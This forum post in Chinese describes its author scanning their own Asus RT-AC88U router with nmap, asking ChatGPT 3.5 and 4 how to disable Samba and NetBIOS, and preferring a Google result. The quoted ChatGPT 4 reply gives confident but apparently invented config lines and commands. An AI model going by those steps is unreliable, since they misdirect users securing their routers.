|
此文章由 DDD888 原创或转贴,不代表本站立场和观点,版权归 oursteps.com.au 和作者 DDD888 所有!转贴必须注明作者、出处和本声明,并保持内容完整
我在学习kali linux,nmap,就扫描了下我的rt-ac 88u nmap -p- -A 192.168.1.1 > nmap.log,发现samba smbd netbios-ssn服务打开,我就问chatgpt 3.5
rt-ac88u merlin turn off samba smbd netbios-ssn
这是回答
To turn off Samba (smbd) and NetBIOS-SSN on an RT-AC88U router running the Merlin firmware, you can follow these steps:
Access the router's web interface by entering the router's IP address (e.g., 192.168.1.1) in a web browser.
Log in to the router using your administrator credentials.
Once logged in, navigate to the "Advanced Settings" or "Administration" section. The exact location may vary slightly depending on the Merlin firmware version you are using.
Look for a section related to "Samba" or "SAMBA Server" settings.
In the Samba settings, you should find an option to disable or stop the Samba server. Select the appropriate option to turn off Samba.
Save the settings and wait for the router to apply the changes.
Additionally, you may need to disable the NetBIOS-SSN service separately. To do this, look for an option related to "NetBIOS" or "NetBIOS-SSN" in the router's settings. Disable or turn off this service.
Save the settings again and wait for the router to apply the changes.
Restart your router to ensure the changes take effect.
Please note that the exact steps and naming of options might vary depending on the version of the Merlin firmware you are using. It's always a good idea to consult the documentation or user manual provided by Asus or the Merlin firmware project for your specific firmware version.
我就问chatgpt 4
AsusWrt-Merlin is a third-party firmware for select Asus wireless routers. It is based on the AsusWrt firmware developed by Asus, but adds a number of enhancements. One of these is more control over the Samba file sharing service. If you want to turn off Samba (smbd) and NetBIOS over TCP/IP (nmbd or netbios-ssn), you may follow these steps:
However, as of my knowledge cutoff in September 2021, the AsusWrt-Merlin firmware GUI does not provide a direct way to disable Samba or NetBIOS. You may need to do this through the command-line interface (SSH). Before you proceed, please note that these steps require some familiarity with Linux and may void your router's warranty.
Enable SSH access:
Login to your Asus router's admin page (usually http://192.168.1.1)
Go to Administration -> System
Set Enable SSH to Yes
Choose LAN only for the SSH service option unless you have a specific need for WAN access
Set a SSH authentication method. It's recommended to use Public Key for better security, but Password is easier.
If you chose Password, set a strong password for the Administrator account.
SSH into the router:
You can use an SSH client like PuTTY on Windows or ssh command on Linux/Mac.
The command to connect would be something like ssh admin@192.168.1.1, replacing 192.168.1.1 with your router's IP address.
Edit Samba config:
The Samba config file should be located at /etc/smb.conf
Use a text editor like vi or nano to edit the config file. You may need to use sudo to edit as the root user.
Find the line that says smbd service = yes and change it to smbd service = no
Similarly, find the line that says nmbd service = yes and change it to nmbd service = no
Save and close the file.
Restart Samba service:
You can restart the Samba service to apply the changes using the command service samba restart.
Remember to be very careful when making changes to system files on your router. If you're not comfortable with these steps, it might be better to ask for help from someone who is more experienced. Also, always make a backup of any configuration files before you edit them, so you can restore them if something goes wrong.
As the AsusWrt-Merlin firmware is actively developed, it's also possible that newer versions after my last training data in September 2021 may offer an easier way to disable these services. So, always check the latest version and its documentation.
我厌倦了这无聊的回答,我用google搜索了同样的问题,得到了https://www.snbforums.com/thread ... lin-rt-ax88u.75287/这个答案, 显然不是编程的问题,google搜索的结果远优于chatgpt |
|